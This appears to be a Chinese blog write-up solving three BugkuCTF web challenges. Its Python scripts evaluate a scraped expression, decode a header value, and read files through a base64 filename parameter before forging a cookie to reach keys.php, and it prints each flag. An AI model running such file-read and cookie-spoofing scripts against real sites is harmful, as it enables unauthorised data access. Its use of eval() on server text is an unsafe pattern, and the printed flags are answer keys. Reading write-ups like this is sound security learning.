BugkuCTF_Web——“秋名山老司机”、“速度要快”、“cookies欺骗”

一、“秋名山老司机”

开启环境,提示要在两秒钟计算结果

在这里插入图片描述
多次刷新发现每次的值不一样,并且知道了答案要通过赋值给value然后post上去

在这里插入图片描述
想到可以通过获取网页源代码使用eval()执行算式

编写以下python脚本

#requests实现请求,bs4获取标签内容
import requests,bs4
url = 'http://123.206.87.240:8002/qiumingshan/'

#由于每次刷新后算式会不同,需要保持会话
rs = requests.session()
rsg = rs.get(url)
content = rsg.content

#获取div标签内容,并通过split分离出算式
soup = bs4.BeautifulSoup(content,'lxml')
txt = str(soup.find("div")).split("=")[0].split(">")[-1]

#eval执行算式得到结果
ans = eval(txt)

#将结果赋值并post
data = {
    
    
    "value":ans
}
rsp = rs.post(url,data=data)

#打印返回的结果
print(rsp.text)

多次运行后得到FLAG

在这里插入图片描述

Bugku{YOU_DID_IT_BY_SECOND}

二、“速度要快”

打开环境提示开启速度太慢

在这里插入图片描述

使用Burp查看抓包

在这里插入图片描述
多次尝试发现,flag是base64密文且每次均会改变

解题需要把flag的明文赋值给margin并且post

编写以下python脚本

#requests实现请求,base64实现加解密
import requests,base64

#session保持会话确保flag不变
rs = requests.session()
rsg = rs.get("http://123.206.87.240:8002/web6/")

#获取包含在请求头里的密文
bs64 = rsg.headers['flag']

#去除开头的 'flag:',此处引号后面有个空格才是base64密文,使用空格分隔提取后半部分
flag = base64.b64decode(bs64).decode().split(" ")[-1]

#解密
flag = base64.b64decode(flag).decode()

#赋值并且post
data = {
    
    
    'margin':flag
}
rsp = rs.post("http://123.206.87.240:8002/web6/",data=data)

#打印返回结果
print(rsp.text)

运行得到FLAG

在这里插入图片描述

KEY{111dd62fcd377076be18a}

三、“cookies欺骗”

打开环境发现get请求了两个参数

在这里插入图片描述
filename通过base64解码发现是keys.txt

filename改成base加密的index.php:aW5kZXgucGhw

并且给line赋值,猜想是按行号读取

在这里插入图片描述
编写python脚本尝试读取整个index.php

import requests

rs = requests.session()

for i in range(1,21):
    url = 'http://123.206.87.240:8002/web11/index.php?line={}&filename=aW5kZXgucGhw'.format(i)
    rsg = rs.get(url)
    print(rsg.text)

得到源码

error_reporting(0);

$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");

$line=isset($_GET['line'])?intval($_GET['line']):0;

if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");

$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);

if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
    
    
$file_list[2]='keys.php';
}

if(in_array($file, $file_list)){
    
    
$fa = file($file);
echo $fa[$line];
}

?>

代码审计可知:FLAG在文件keys.php里面,并且需要令get请求的Cookiemargin=margin

使用Burp构造请求,base64加密:a2V5cy5waHA=

得到FLAG

在这里插入图片描述

KEY{key_keys}

欢迎在评论区留言
感谢浏览

猜你喜欢

转载自blog.csdn.net/Xxy605/article/details/109010534
今日推荐